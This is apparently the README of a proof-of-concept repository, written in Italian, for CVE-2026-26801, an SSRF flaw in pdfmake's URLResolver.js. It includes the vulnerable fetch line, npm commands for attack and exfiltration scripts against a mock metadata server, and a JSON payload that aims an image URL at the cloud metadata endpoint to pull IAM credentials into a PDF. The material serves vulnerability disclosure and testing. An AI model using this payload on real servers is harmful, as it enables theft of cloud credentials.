
PoC per CVE-2026-26801: SSRF in pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| Campo | Valore |
|---|
| Pacchetto | pdfmake |
| Versione | >= 0.3.0-beta.2, <= 0.3.5 |
| Corretta | 0.3.6 |
| CVE | CVE-2026-26801 |
| Tipo | Server-Side Request Forgery (SSRF) |
| Posizione | src/URLResolver.js |
| Gravità | ALTA |
// URLResolver.js riga 3
const response = await fetch(url, { headers }); // NESSUNA VALIDAZIONE!
Quando docDefinition contiene URL in images, attachments o files, pdfmake li recupera senza alcuna validazione:
npm install
npm run metadata
npm run server
SSRF cieco (dimostra che il server effettua richieste in uscita):
npm run attack
SSRF con lettura completa (credenziali incorporate nel PDF generato):
npm run exfiltrate
npm run attack)Output del server dei metadati:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENZIALI DIVULGATE! <<<
Questo dimostra che il server vulnerabile ha effettuato una richiesta in uscita verso il nostro endpoint controllato.
npm run exfiltrate)Lo script di attacco genera exfiltrated.pdf. Aprilo con qualsiasi visualizzatore PDF e il JSON delle credenziali AWS sarà incorporato come allegato (metadata.json). Questo dimostra l'esfiltrazione completa dei dati, non solo SSRF cieco. L'attaccante riceve il corpo della risposta effettiva all'interno del PDF.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
Writeup tecnico completo con la storia di come è stata trovata, la catena di attacco e la timeline della divulgazione: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf